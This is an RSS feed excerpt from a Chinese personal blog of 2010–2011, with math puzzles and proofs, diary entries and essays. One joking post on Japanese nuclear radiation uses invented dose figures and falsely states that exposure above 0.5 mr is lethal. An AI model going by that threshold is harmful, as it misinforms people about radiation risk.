某大公司有这么一个规定：只要有一个员工过生日，当天所有员工全部放假一天。但在其余时候，所有员工都没有假期，必须正常上班。这个公司需要雇用多少员工，才能让公司一年内所有员工的总工作时间期望值最大？ 假设一年有 365 天，每个员工的生日都概率均等地分布在这 365 天里。 你的第一感觉或许是，公司应该雇用 100 多人，或者 200 多人吧。答案或许会让你大吃一惊：公司应该雇用 365 个人。注意，雇用 365 个人并不意味着全体员工全年的总工作时间为 0 ，因为 365 个人的生日都是随机的，恰好每天都有一个人过生日的概率极小极小。明天我们就来证明，这个问题的最优解就是 365 人。</description></item><item><title>记事簿3</title><link>https://changkun.de/blog/posts/%E8%AE%B0%E4%BA%8B%E7%B0%BF3/</link><pubDate>Sun, 12 Jun 2011 13:57:14 +0000</pubDate><guid>https://changkun.de/blog/posts/%E8%AE%B0%E4%BA%8B%E7%B0%BF3/</guid><description>（三） 很多事情想说说不清楚，不说又变的自然而然，于是才有了因果之说。
“今年福建高考语文试卷的现代文阅读，用了我几年前的一篇稿子。好奇心起，找来试做了一下，对照标准答案，能拿到一半左右的分数。出题老师果然名不虚传，把作者本人都打败了，幸好我当年没落在你手上。”文章的作者林天宏说道，“其他就不说了，最后一题问作者为什么提了两次大雨，标准答案呼呼说了一堆，真正的原因是，我写稿时窗外正好在下雨……出卷前问问我好吗？”
出于好奇，上网查了查答案。
试卷给出的参考答案是：①文章开头写雨中正阳门箭楼的修缮，引出朱启钤1915年就开始有计划地进行北京市政工程建设；②结尾的雨引出营造学社旧址的落寂和朱启钤故居成为大杂院的情况，照应文题，引发读者的联想和感慨；③首尾呼应，结构完整。开头写正阳门箭楼的修缮，结尾写营造学社旧址故宫端门外西朝房的落寂、朱启钤故居的杂乱，二者通过“雨”联系在一起，抚今追昔，深化了“不要忘记这位奠基人”的主题。
“对于这一复杂的答案，我自己只答对了一点。” 林天宏这么说道，　“写作时并没考虑那么多，写到最后，自然又回到了这场雨。这是很随性、水到渠成的，没有那么多刻意的原因。”
“比较可怕的是，万一有学生给出‘原文作者在写这篇文章时，恰逢下雨’这样的答案，如何处理？”据说林天宏分析，这个最符合他写作本意的答案，若对照参考答案，可能会得“0分”。
说道这些，只能是“出题老师比我更好地理解了我写的文章的意思，把我写作时根本没有想到的内涵都表达出来了，将我的文章进一步‘做大、做强、做好’了。我的文章在出题老师这种高超的二次加工艺术中，就变成这样了，很好很强大。”
其实我很佩服那些搞影视创作方面的人，这些人的创造力和表现力都发挥到了机制，比如电影、电视剧、MV等等。他们能够把平凡的东西变得不平凡，把平淡的东西变得浓郁，诸如这般的表现力。作为观众（听众）能够被这些人带入那种境界中，去体验“造物主”的伟大，感受可能这辈子无法经历的种种事情，就好像你出现在第三人称的角度（可以说成是灵魂态）来观察“造物主”所创造的世界。可以说这种世界会令你很纠结，无法自由活动。但是感受世界的好奇却始终把你囚禁在这个世界里。
Rolling in the deep，we could have had it all。
影视创作并不是一个简单的说说就能开始的事情，他得包括最初的构思，前期的脚本编写，之后的选材取景，演员相关、摄像（录音）相关、灯光相关等等，当然最关键的是后期的制作。因此，一部好的影视作品，离不开细节。当然，以上只是个人观点，欢迎吐槽。就这样，睡觉。</description></item><item><title>记事簿2</title><link>https://changkun.de/blog/posts/%E8%AE%B0%E4%BA%8B%E7%B0%BF2/</link><pubDate>Sat, 11 Jun 2011 06:08:23 +0000</pubDate><guid>https://changkun.de/blog/posts/%E8%AE%B0%E4%BA%8B%E7%B0%BF2/</guid><description>（二） 很多人说我社交关系好，朋友多。但我不这么认为，我觉得应该是我单方面对别人太好了，我单方面把别人当朋友看，而别人却不把我当朋友，所谓“友情”，不过只是利益罢了。 我知道我脾气不怎么好，比如无故对别人发火、专门整治同学（初一最为严重），导致同学们都很恨我，这是理所当然的。 我记得高中某个时候有个同学提起，说小学有个叫陈方圆的同学和我一个班，到初中也是一样，而且到初中后她经常对周围的一些同学们讲一些关于我的琐事，比如脾气败坏、人很贱，诸如这般的话语灌输到初中同学对我的第一印象里，牢牢的印下了我种种不好的形象，在加上我的不善交友，有些人应该三年都没有和我说过话。 我的性格确实很差，比如骄傲自大，一句话伤人等等特别严重。 我在长沙读高一的时候因为一篇作文啰嗦了几句班主任就找到我并损我，于是我便和班主任和年纪组长吵起来，我神经错乱的扬言要跳楼，于是这些老师仅因为我一句言辞便连夜打电话叫着我的父母带我回芷江。在我父母的再三恳求下，算是保住了继续读下去的事情。直到放假的时候，父母叫我收拾东西不要再来了，我才得知真相，那一瞬间我所熟知的老师们对我的那种背叛令我感到很无奈，于是我便卷起铺盖回家了。走的时候班主任居然还假惺惺的留我，似乎以为她和父母的所谓秘密我还并不知道，呵。 当然，确实我错的在先，我千不该万不该说那张一句话。我不懂得为人处世，不懂得怎样做人。 我爸这样说道我：你这辈子即使是再厉害，再怎么有能力，你也没有出息，因为你不知道怎么为人。 做人是一门学问，所以我总是傻傻的对别人好，所以总会有些人踩着我的肩膀往上爬，直到最后才知道，我被别人利用了。</description></item><item><title>记事簿1</title><link>https://changkun.de/blog/posts/%E8%AE%B0%E4%BA%8B%E7%B0%BF1/</link><pubDate>Fri, 10 Jun 2011 17:13:41 +0000</pubDate><guid>https://changkun.de/blog/posts/%E8%AE%B0%E4%BA%8B%E7%B0%BF1/</guid><description>序 不知怎么的，突然很想写些东西。看看我能坚持多少日子，看看或许是我搁笔太久，或者是我想抒发所谓的某种感情吧，我依然在等着，那种有些怀旧的被我不经意遗忘的事情。
（一） 我时常在搜索着我的记忆，努力的去寻找，看看究竟什么事情被我忘得一干二净。当然，我自始至终都是无功而返，因为那些事物被我遗忘得一干二净了。 说些事情吧，不如说说被我差点儿忘了的事情。 今天中午到看了看关于高考的新闻，似乎每年这几天的新闻都是一成不变的某某学生因为迟到而被拒考导致考生跳楼、高科技作弊元凶实为研究生等等之类的，每年都是这几个话题说来说去变得很没有意思，当然连高考题目也变得无比的无奈，就比如今年上海的作文题目，居然那初中生竞赛的题目来当高考题。其实语文从小学学到现在为止，唯一进步的东西是字词的积累。 聊到高考，有这些事情令我觉得很冷门，其一就是沸沸扬扬的零分或满分作文。它们似乎是高考这个事物的两个极端，或者叼爆了，或者弱爆了。每年都是多之又多的人来关注这些东西，可想社会舆论永远是炒不烂的剩饭剩菜。很多网友都有质疑，为什么那些好文章都是零分？那是因为社会还不是九零后社会，很多事情你再怎么抱怨，都显得异常的无济于事。更多的人看到的是，又是一个以身试法的二货。我一直是这样的观点，既然我无法改变它，那就等我能够改变的时候再去考虑他吧，或者它已经改变了。其二有一些顽固分子，比如十一次高考了还不放弃的那个七十岁高龄的老人家。我这几年几乎都有看到他的报道，简直一个范进二代。 有些事情很无聊，比如学业水平考试。 有些事情很基情，比如躺在家里看韩剧。 OK，今天就这么多，睡觉。</description></item><item><title>某不等式</title><link>https://changkun.de/blog/posts/%E6%9F%90%E4%B8%8D%E7%AD%89%E5%BC%8F/</link><pubDate>Mon, 06 Jun 2011 12:19:00 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%9F%90%E4%B8%8D%E7%AD%89%E5%BC%8F/</guid><description>已知：ai&amp;gt;0，bi&amp;gt;0，∑ai≤1，∑bi≤n，
求证：Π ( 1/ai + 1/bi ) ≥ ( 1 + n ) ^ n
证明：
法一：
只需要考虑∑ai=1，∑bi=n的情况，
因为其他的情况只会使得左边的式子都是变大的。
于是，对于1≤ i ≤n，由柯西不等式：
( n ^ 2 * ai + bi ) ( 1/ai + 1/bi ) ≥ ( 1 + n ) ^ 2
则
Π ( n ^ 2 * ai + bi ) ( 1/ai + 1/bi ) ≥ [ ( 1 + n ) ^ n ]^2</description></item><item><title>核辐射没那么可怕</title><link>https://changkun.de/blog/posts/%E6%A0%B8%E8%BE%90%E5%B0%84%E6%B2%A1%E9%82%A3%E4%B9%88%E5%8F%AF%E6%80%95/</link><pubDate>Sun, 10 Apr 2011 18:00:22 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%A0%B8%E8%BE%90%E5%B0%84%E6%B2%A1%E9%82%A3%E4%B9%88%E5%8F%AF%E6%80%95/</guid><description>核辐射没那么可怕，即使这次日本地震导致同时爆炸了16个日本的核电站，平均每个核电站辐射到中国的强度是0.036mr/h，方差为0.0081，度娘告诉我：在中国的你如果受到了强度超过0.5mr的辐射时，马克思便向你伸出了右手。 我们来看看马克思向你伸出右手的概率究竟有多大： 用X_i表示第i个核电站的辐射量(mr/h)，则X_i的数学期望是μ＝0.036，方差σ^2＝0.0081，并且S_n＝X_1+X_2+…+X_16是n＝16个核电站的辐射量，度娘说了，P(S_n&amp;gt;0.5)才行。认为{X_i}独立分布时，根据中心极限定理，ξ_n＝(S_n－nμ)/sqrt(nσ^2)，近似服从N(0,1)分布，于是： P(S_n&amp;gt;0.5) ＝P（(S_n－nμ)/sqrt(nσ^2)＞(0.5－nμ)/sqrt(nσ^2)） ＝P（ξ_n＞(0.5－160.036)/sqrt(160.0081)） ＝P（ξ_n＞－0.211） ≈φ(0.211)＝0.58。 可以看出，即使是16个核电站爆炸也不过才58％的概率使得马克思冲你微笑。所以，你懂的～</description></item><item><title>赌博（装备锻造）必定破产</title><link>https://changkun.de/blog/posts/%E8%B5%8C%E5%8D%9A%E5%BF%85%E5%AE%9A%E7%A0%B4%E4%BA%A7/</link><pubDate>Wed, 06 Apr 2011 10:25:25 +0000</pubDate><guid>https://changkun.de/blog/posts/%E8%B5%8C%E5%8D%9A%E5%BF%85%E5%AE%9A%E7%A0%B4%E4%BA%A7/</guid><description>问题：某傻逼有本金a元，决心再赢b元停止赌博。设这个傻逼每局赢的概率是p=1/2，每局输赢都是一块钱，傻逼输光就不赌了，求傻逼输光的概率q(a)。
解：用A表示这个傻逼第一局赢，用B_k表示甲有本金k元时最后输光。由题意，q(0)=1，q(a+b)=0,并且
q(k)
=P(B_k)
=P(A)P(B_k|A)+P(非A)P(B_k|非A)
=P(B_k+1)/2+P(B_k-1)/2
=q(k+1)/2+q(k-1)/2
于是有2q(k)=q(k+1)+q(k-1)，从而
q(k+1)-q(k)=q(k)-q(k-1)=…=q(1)-q(0)=q(1)-1.
上式两边对k=n-1,n-2,…,0求和后得到
q(n)-1=n[q(1)-1].
取n=a+b,得到
0-1=(a+b)[q(1)-1],q(1)-1=-1/(a+b).
由q(n)-1=n[q(1)-1]得到
q(a)=1+a(q(1)-1)=1-a/(a+b)=b/(a+b).
上式说明，当a本金有限，则贪心b越大，输光的概率越大。如果一直赌下去(b-&amp;gt;infinity)，必定输光。</description></item><item><title>把爱情写的最透彻的文章</title><link>https://changkun.de/blog/posts/%E6%8A%8A%E7%88%B1%E6%83%85%E5%86%99%E7%9A%84%E6%9C%80%E9%80%8F%E5%BD%BB%E7%9A%84%E6%96%87%E7%AB%A0/</link><pubDate>Tue, 05 Apr 2011 13:27:00 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%8A%8A%E7%88%B1%E6%83%85%E5%86%99%E7%9A%84%E6%9C%80%E9%80%8F%E5%BD%BB%E7%9A%84%E6%96%87%E7%AB%A0/</guid><description>凌晨。半透明的思绪、
得到闺蜜开始谈婚论嫁的消息。她要跟那个男人结婚了。
那个第一次去她女朋友家里吃完饭甩手就走的男人。
那个手机电脑PSP全部设密码的男人。
那个曾经一度让我们灰心丧气的男人。
那个我们曾经一听见她的委屈，就愤愤地恨不得让她离开他的男人。
有很多次，委屈的她刚流过眼泪，喝完粥，听见他来楼下接她，就微笑着说，我原谅他了。我走了。
她就那样轻轻地原谅了他，恍若什么事情也不曾发生过。留下我们愤愤，她却一如既往。
没有一个男人，不是在一个女人的怀抱里长大的。他的狂躁，他的冷漠，他的不安分，他的稚气，皆是靠一个女人抹去。
而如今他们居然要修成正果——时光，真是一件不可思议的事情。
现在，他会把工资卡交给他，说老婆，这就是家用了。
他会在周末的时候，去买菜做饭洗碗收拾厨房，然后说：老婆平时辛苦了，今天我来做。
他会带她去厦门，去香港，去看电影，去购物，说：十万块娶这样一个老婆，很划算。
他会把他过往的故事告诉她，虽然，闺蜜还是介意他曾经的故事——与其说是介意不如说是嫉妒，因为知晓，他再也不可能为一个女人，痴狂到那个地步。
虽然，他还是爱在家里抽烟。还是一玩起MAC就视未婚妻如空气。
但是，已经很好很好了。哪个女人曾指望自己的丈夫要完美得像个米开朗琪罗手底下的画像呢。
谁都会有被收服的一天。一物降一物。
一个男人在结婚的时候相比起刚牵手的时候判若两人。是身边这个女人的御夫术有多厉害？不觉得。是身边这个女人貌美如天仙？谈不上。
相比起厉害，相比起容貌，更多的，是善良与智慧，是包容与尊重。
若说非要是什么让人得以改变——是相处，是时光，是年华流逝之间，渐生的情感，是磨合后心生的感恩。
是他静静地说的那句：我不会在一开始，就莫名其妙地对一个女人好。
其实我们早该明白，这年头，在谈恋爱这件事面前，谁都不是善男信女。
在这件事面前，你我最阴暗的一面都会显现出来。功利，算计，欺骗，对比——谁都不会再傻到在一开始就一颗心丢过去。
恋爱需要有那么多的时间，精力，物质的投入，还要考虑回报率。
谁也不会在刚开始谁要对谁有多好，要对谁把心扉毫无保留的敞开。
谁也不会傻到三天后就开始把对方的照片或是身份，明晃晃地挂在空间里昭示那就是我的男/女朋友。
在一起的时候那些内容算是幸福，分手了立马变成笑话。
多么好笑，多么辛酸，恋爱变成一场无间道。
为什么。因为，你，我，都不是没有爱过的，讲白了，做事都靠个经验二字。
——变故。你我怕的是变故。
怕时间积累的不够多，怕爱的不够深，怕烟花一散去满地皆疮痍——怕得最多的，是不够了解而产生的变故。
此年，什么都需要成本，恋爱最是。
可还是有一天，你，我，站在时光的镜子面前，你我各自面目全非。
你会发现，某个人，没有你想象中那么好；某个人，没有你想象中那么坏。谁都不容易。
最开始的小人模样，不过是为了避免让自己受伤。 如同我，我相信那还是个善良的姑娘，那还是个柔软的姑娘，只是多了一层坚硬的，不那么光彩的，看起来嚣张戾气与精明世故的壳。
心有多软，壳就要有多硬，不然漫漫人生路如何走得下去。
如今有几个人不是从青春期就开始谈恋爱。
可有多少不是一开始就结束。坚持到底的又能有几个。
谈不上深爱，最好看的，也不过是跑一场爱情马拉松，几年过后，虽然知道还是挂牵，虽然知道还是爱恋，可最后还是一夜之间你娶了别的女人，我就立马嫁了别的男人。
我们在经历一个速食爱情和快餐婚姻的年代。
分开得越来越快的原因，是因为，没有时间与耐心了解一个人。更没有时间去原谅与守候一个人。
在他蜕变成我们的perfect couple，完美恋人&amp;amp;灵魂知己之前，我们就等不及离开了他们。
经营爱情如掘井，需要足够时间去探索，去挖掘，去守候，去等待，去流泪，去坚持，去相信。
可是恰恰如今我们什么都不缺，最缺的就是时间。有时间偷菜却不曾有时间去认认真真了解一个人。
比时间更缺的是去了解的一个人的欲望与心情。为什么，还是怕。
怕千山万水地走过去，却发现对面的那颗心看似金光闪闪，实则荒野一片。
失望是比受伤，更让人痛苦的事情。
从此全天下的人都在寄希望于缘分，寄希望于一见钟情，继续相信有perfect couple和soul mate的存在。每天打扮得光鲜亮丽，希望转角就遇到爱。 呵呵，完美伴侣。灵魂知己。多么美丽的词汇，那都是我们曾今的念想：那个男人要如何如何，女人要如何如何，一切都要为我们而生。
可就这样渐渐懂得了，若不曾携手走过一段路，何以携手走一生。
不是男人买好房子车子就能够招得来好女人，也不是女人整好了鼻子削尖了下巴就可以绑得住好男人。
拎包入住与天生一对这两个词，在婚姻里，都是不靠谱的代名词。
有些事情终如美玉，需要打磨得以完美示人。
有些人们终如玫瑰，需要一层一层剥下去，才发现他/她的心。
前几天，有人问我：你还相信爱情吗。
一瞬间我真的不知道该怎么回答。
若说不相信——我只是真的不相信海市蜃楼，不相信金童玉女，不相信山盟海誓。这个世界，岁月最珍贵，眼睛最骗人。
我不相信，只是因为我也是站在人渣肩膀上成长起来的好姑娘。
我相信，只是因为比起爱情我更相信感情二字。相信那些相濡以沫与子偕老，千回百转终成正果的事情。
从烟花到烟火，你用了几年。
我想你们在婚礼上，应该发表的获证感言是：感谢误会，感谢分歧，感谢争吵，感谢偏执，感谢横眉，感谢没有分手。
从遇见到接受，从磨合到改变，从烟花火到长相守，你们还是走了一条千山万水的路。
天下女子或是男子若求的只是一个玩伴，一个恋人，那尽管敷衍。按年龄身高体重月薪星座去寻，容易得狠。
你若是求得是风雨同舟，求得是心心相印，求得是秉烛夜谈，求得是夫唱妇随，求得是恩爱夫妻共白首，就不要以为爱是一见钟情门当户对就可以天长地久的事情。
如不曾经历千回百转，你不会懂得，中途那般多的枝枝蔓蔓，需要的，是你与他留在时光里的披荆斩棘与披星戴月.</description></item><item><title>把伤痕当酒窝</title><link>https://changkun.de/blog/posts/%E6%8A%8A%E4%BC%A4%E7%97%95%E5%BD%93%E9%85%92%E7%AA%9D/</link><pubDate>Thu, 31 Mar 2011 16:37:00 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%8A%8A%E4%BC%A4%E7%97%95%E5%BD%93%E9%85%92%E7%AA%9D/</guid><description>作者: 许嵩
我伸了一下懒腰，望着窗外阴暗的天。快要下雨了，而此时已近黄昏。
心情不错。是的，我搬家了。
桌前放着一本书，其中的一章，标题赫然是《把伤痕当酒窝》。正当我准备看看这个标题背后的内容时，父亲叫我：出去找一个拾废品的人来，家里正有一堆没用的旧东西。
下了楼，我走在一条极其平凡的街道上。一些高雅人士所鄙薄的低俗人等，全部在这条街上济济一堂，先是五家大排档，然后是一排小吃摊，再过去就是农贸市场。这些人有时的确粗俗，譬如他们的三轮车撞到你却不说对不起只是表情怪异的一笑；譬如你买东西跟他们讨价还价到最后他们会蛮横的说，我不卖了。后来我渐渐想通，前者是因为他们还没学会城里繁琐的礼貌用语，因此他们只能投以抱歉的微笑，但是这一笑遭遇到了城市人翘起的嘴角和傲慢的眼神，所以这个笑容顿时变味；后者更好理解，因为城市人砍下的价格已然超过了他们接受的底线。
一个老人缓缓的从我身边走过。一手牵着条狗，另一只手里搓着健身球，背部倔强的挺直，眼角流露出幽默的笑意。
这种笑意的内涵，正由这条平凡的街道默默的注释着。
拾破烂的终于在这里被我搜索到。这位老人头发全白，我很少看见如此纯粹的白了，一种慈祥的感觉洋溢在他的脸上。他的身后，悠悠然跟着一个孩子，这是老人的孙子。
天更暗了，一些雨点开始打落在我们的脸上，我们三个默然前行，再也没有说话。
到家了。老人嘱咐孩子等着，然后随我上楼。进门时我发现老人的鞋子很脏，我不希望他将泥土带进我的新家。老人似乎明白，脱下鞋子，赤着脚进来。虽然这时早已立秋，天气转凉。
父亲让他稍坐，便进房里整理废品，只剩我和他孤坐客厅。忽然想起晚上我要上课，便丢下老人自己到房里穿戴整齐。
然后准备出发。我觉得我应该戴上手表。一个中学生的时间，若不珍惜，很容易从指尖溜走。
这时老人已把东西弄好，付了钱，准备走。父亲见外面雨大，便让他稍作歇息。他没推辞，便和父亲随便聊聊。
他的孙子的父母死了。孙子八岁，还没上学。此时，他们还没吃饭。
托尔斯泰说幸福的家庭总是相似，而不幸的家庭却各有各的不幸。我认为恰恰相反。富裕的家庭能营造不同的环境，所以多样；不幸的家庭总是相似，因为单一。
他们说这些话的时候，我在找我的手表。我很不愿意这样想，老人拿了我的手表。因为有两个证据：其一，我记得我的表就放在老人坐的椅子旁边；其二，老人的裤子口袋里露出一截银光闪闪的东西，我想那是我的表带！
我不鄙视穷人，但是穷人要是不知自重，我们也不必怜悯。而且我没有时间等了。想到这儿，我很有风度地说，老人，请还给我，我的手表。
我认为这是我平生说过的最委婉的一句话，能把对他的伤害降到最低限度。我之所以这样做，因为我想他可能只是一时糊涂，顺手牵羊，我们不必大动干戈。
老人看看我，忧伤的沉默。我想他一定为他罪行的败露感到可耻。
然而父亲还没懂得我的意思，竟然问我，你在说什么？我很平静的重复了一遍。
父亲责令我住嘴。然后令我把他的包拿来，我知道事情可能会有点微妙的变化。
打开包，我的手表。原来父亲今天上班时看见我的表不走了，就拿去表店换了一块电池。
我何以那么草率的认为是老人拿了手表呢？我说我不鄙视他们，然而骨子里对他们还是信任不过的。是的，我以小人之心，度君子之腹了。
正当我准备道歉，老人笑了。这种幽默的笑意，似曾相识。我不知道他为什么而笑，这种笑意的内涵，正由他伸向裤子口袋的手默默的注释。他掏出来了，不是我认为的“表带”，只是一个不锈钢的勺子！
我不知道我的话对他造成了多少伤害。对于一个贫穷的人，最大的侮辱莫过于说他用不正当的手段去摆脱贫穷。
然而我对他的这种伤害，被他化为了一个笑容。
《把伤痕当酒窝》这篇文章我还没看，但是我已经找到了最好的解释。
雨更加大了，祖孙俩推着车子一路小跑。天空升起了一颗早熟的星星，而那黑夜，也在重重的幕帘后面静静的注视着一切，不忍心走来。</description></item><item><title>游戏装备升级问题</title><link>https://changkun.de/blog/posts/%E6%B8%B8%E6%88%8F%E8%A3%85%E5%A4%87%E5%8D%87%E7%BA%A7%E9%97%AE%E9%A2%98/</link><pubDate>Wed, 09 Mar 2011 00:07:02 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%B8%B8%E6%88%8F%E8%A3%85%E5%A4%87%E5%8D%87%E7%BA%A7%E9%97%AE%E9%A2%98/</guid><description>问：装备锻造，一共有10层，每次成功的几率为50%，成功升1层，失败降1层，1层时不再下降。那么玩家平均锻造到10层一共需要锻造多少次？ 解：这个是个概率转移问题 也就是问题有10个状态,对应10层,开始在第1层,如果到达第10层则终止. 我们假设如果处于第k层,那么需要平均a(k)次才能够转移到第10层 于是a(10)=0,而对于k&amp;gt;2,a(k)=1+1/2(a(k+1)+a(k-1)) 我们只要求解这个递推数列即可。 而特征方程是x^2-2x+1=0 所以a(k)=a+bk+ck^2 得到 a(k)=90+k-k^2 于是a(1)=a(0)=90
推广一下到n层的. 于是递推式为a+bk+ck^2,满足 a=a+b+c (也就是a(0)=a(1)) a+b+c=a+b2+c2^2+2(也就是a(1)=2+a(2)) a+bn+cn^2=0 所以a=n^2-n,b=1,c=-1 也就是a(0)=n^2-n,这个是n层的结果.如果11层,的确结果就是110了。</description></item><item><title>为什么做不完高考数学</title><link>https://changkun.de/blog/posts/%E4%B8%BA%E4%BB%80%E4%B9%88%E5%81%9A%E4%B8%8D%E5%AE%8C%E9%AB%98%E8%80%83%E6%95%B0%E5%AD%A6/</link><pubDate>Tue, 15 Feb 2011 12:09:38 +0000</pubDate><guid>https://changkun.de/blog/posts/%E4%B8%BA%E4%BB%80%E4%B9%88%E5%81%9A%E4%B8%8D%E5%AE%8C%E9%AB%98%E8%80%83%E6%95%B0%E5%AD%A6/</guid><description>记住了，告诉你为什么做不完高考数学，所以不必过于内疚。­
我们做一个简单的统计分析：­
解：­
一套高考数学试卷拥有的文字量，通常要求命者控制在2000个印刷符号左右，一般情况下，我们能每分钟阅读300～400个印刷符号的速度审题，这样读完一套试卷约需花5～7分钟，考虑到有些题目冷僻晦涩，需要反复阅读、多层理解、多次体悟，才有可能断明题意，实际阅读完转数学试卷需要12分钟左右。­
书写主要用于解答题，一份数学试卷完整地写出解答过程，大约要写3000个印刷符号左右，通常情况下，我们的书写速度是每分钟150个印刷符号左右，这样解答一份试卷的书写时间约需20分钟。如此就一套高考数学试卷而言，我们看清并理解题目的意思后，直接抄写标准答案将近要花去32分钟，数学高考时间是120分钟，于是留给我们探究思索、发现思路、估算精算、文字组织和复查检验等时间约88分钟；通常一套试卷拥有20～23道题，其中最后几道题的设置一般不止给出一个问题，因此，整个试卷就会有26～30个问题。­
因此，我们解答每个问题平均只有约3分钟时间。­
解毕。­</description></item><item><title>素数无穷多的拓扑学证明</title><link>https://changkun.de/blog/posts/%E7%B4%A0%E6%95%B0%E6%97%A0%E7%A9%B7%E5%A4%9A%E7%9A%84%E6%8B%93%E6%89%91%E5%AD%A6%E8%AF%81%E6%98%8E/</link><pubDate>Fri, 28 Jan 2011 13:22:00 +0000</pubDate><guid>https://changkun.de/blog/posts/%E7%B4%A0%E6%95%B0%E6%97%A0%E7%A9%B7%E5%A4%9A%E7%9A%84%E6%8B%93%E6%89%91%E5%AD%A6%E8%AF%81%E6%98%8E/</guid><description>定义N(a,b) = {a + nb| n∈Z}，例如N(1,3)就等于{&amp;hellip;, -5, -2, 1, 4, 7, &amp;hellip;}。每一个N(a,b)实质上都是一个以b为公差的“双向无限等差数列”。我们说整数集Z上的一个子集S是开的，如果集合S为空，或者对于任意一个a∈S，总能找到一个b&amp;gt;0使得N(a,b)⊆S。形象地说，开集的意思就是，集合中的每一个元素都能在集合内扩展出一个无限长的双向等差数列。我们又称一个集合S是闭的，如果它是某个开集的补集。 显然，有限个开集的并集仍然是开集。 假设S_1和S_2都是开集，如果a∈S_1∩S_2，并且N(a,b1)⊆S_1，N(a,b2)⊆S_2，那么S_1∩S_2中有一个公差为b1b2的含a的双向无限等差数列，也即a∈N(a, b1b2)⊆S_1∩S_2。这说明，有限个开集的交集仍然是开集。 再假设C_1和C_2都是闭集。由De Morgan定律，C_1和C_2的并集就相等于它们各自的补集相交后再取补集，由定义可知它们的补集都是开集，而由上面的结论可知开集的交集仍是开集。于是，C_1和C_2的并集是某个开集的补集，这说明闭集的并仍然是闭集。类似地，闭集的交集相当于补集的并集的补集，它也仍然是闭的。
还有两点值得引起我们注意：
任意非空开集都是无穷的。这由定义可以直接看出来。 任一双向无限等差数列N(a,b)既是开集又是闭集。由定义可知N(a,b)是开集，而同时N(a,b)又可以看作是N(a+1,b)∪N(a+2,b)∪N(a+3,b)∪&amp;hellip;∪N(a+b-1,b)的补集，这是有限个开集的并集的补集，说明N(a,b)也是闭集。 好了，准备工作完成，下面我们开始证明素数是无穷多的。除了1和-1以外，每一个整数都有至少一个素因子，因此它们都包含在∪N(0,p)中（其中p取遍所有的素数）。把全体素数的集合记为P，于是我们有：
Z \ {1, -1} = ∪N(0,p), p∈P
现在，假如素数集合P是有限的，那么等式右边就是有限个闭集的并，它仍然是闭集；这样的话，它的补集{1, -1}就应该一个开集。然而，一个开集要么是空的，要么就是无穷的，这与{1, -1}是开集矛盾。</description></item><item><title>人品守恒定律</title><link>https://changkun.de/blog/posts/%E4%BA%BA%E5%93%81%E5%AE%88%E6%81%92%E5%AE%9A%E5%BE%8B/</link><pubDate>Wed, 12 Jan 2011 06:22:12 +0000</pubDate><guid>https://changkun.de/blog/posts/%E4%BA%BA%E5%93%81%E5%AE%88%E6%81%92%E5%AE%9A%E5%BE%8B/</guid><description>人品守恒定律在数学上用连续方程表示。假若考虑某一确定区域 $V$，其边界为闭合曲面 $S$。
当童鞋们游荡与各地之间时，有可能有人进入或者流出该区域。根据人品守恒定律，如果有人从该区域流出的话，区域 $V$ 内的人品必然减少，通过界面流出的人品应该等于V内的人品减少率，即：
$$ \oint_{S}{\overrightarrow{J_{rp}}d\overrightarrow{S}} = -\int_{V}{ \frac{\partial \rho_{rp}}{\partial t} dV} $$
式中，$J_{rp}$为人品流密度，$\rho_{rp}$为人品密度。
这是人品守恒定律的积分形式，应用高斯定理把面积分化为体积分： $$ \oint_{S}{\overrightarrow{J_{rp}}d\overrightarrow{S}}=\int_{V}{\nabla \overrightarrow{J_{rp}}dV} $$
即得微分形式： $$ \nabla\overrightarrow{J_{rp}}+\frac{\partial\rho_{rp}}{\partial t} = 0 $$
上式称为人品流连续方程，他是人品守恒定律的微分形式。
若V为全空间，即整个空间，S为包络所有的小区域的曲面，由于在S上没有人品流流入或流出，因而第一个式子的左边面积分为零，由此得出： $$ \frac{d}{dt} \int_{V}{\rho_{rp}dV}=0 $$
表示全空间内的人品守恒。</description></item><item><title>无奈</title><link>https://changkun.de/blog/posts/%E6%97%A0%E5%A5%88/</link><pubDate>Tue, 09 Nov 2010 02:04:29 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%97%A0%E5%A5%88/</guid><description>我是那种不被人理解的人，注定了我属于那种没有朋友的存在。
我所喜欢的数学呢，我和他的关系就好比一对男女，我喜欢它，而它不喜欢我，并且还伤害我。这样我还怎么喜欢它呢？</description></item><item><title>错失的机遇</title><link>https://changkun.de/blog/posts/%E9%94%99%E5%A4%B1%E7%9A%84%E6%9C%BA%E9%81%87/</link><pubDate>Thu, 14 Oct 2010 01:52:08 +0000</pubDate><guid>https://changkun.de/blog/posts/%E9%94%99%E5%A4%B1%E7%9A%84%E6%9C%BA%E9%81%87/</guid><description>在1687年Newton发表他的引力动力学的定律以后，18世纪的数学家抓住了这些定律，并把它们发展成分析动力学深刻的数学理论。通过Euler，Lagrange，和Hamilton的工作，Newton的方程组得到了精辟的分析和理解。在对Newton物理的深入讨论中，新的纯数学分支诞生了。为了研究力学的极值原理，Lagrange提炼出了变分法。在Euler关于测地运动的工作发表五十年后，Gauss的微分几何诞生了。动力学的Hamilton-jacobi表述导致Sophus Lie 建立了Lie群理论。Newton物理给纯数学的最后一个礼物是Poincare对运动轨道定性理论的研究催生了近代拓扑学。
遗憾的是19世纪的数学家错失了1865年Maxwell给他们提供的机遇。假若能像Euler对待Newton力学方程组那样专心致志地研究Maxwell方程组的话，他们也许在19世纪就已经发现了狭义相对论，拓扑群及其线性表示理论，或者还有双曲型微分方程组及泛函分析的很大一部分。只要深入研究由Maxwell方程组引出的数学概念，相当一部分20世纪的物理学和数学也许在19世纪诞生了。</description></item><item><title>小 Q 自传</title><link>https://changkun.de/blog/posts/%E5%B0%8F-q-%E8%87%AA%E4%BC%A0/</link><pubDate>Thu, 23 Sep 2010 05:43:23 +0000</pubDate><guid>https://changkun.de/blog/posts/%E5%B0%8F-q-%E8%87%AA%E4%BC%A0/</guid><description>我回望着自己曾轰轰烈烈闹革命的学校，心里自然免不了有些酸楚，但又转念一想:听见了吗？不是我没有能力读，而是“学校没有能力教”。 ——题记
　我叫小Q，如果按达尔文的“人猿同祖论”来解释的话，我也算的上阿Q的半个亲戚。阿Q当年闹革命“出师未捷身先死”，我决定继承他的遗志，完成他未竟的革命事业。
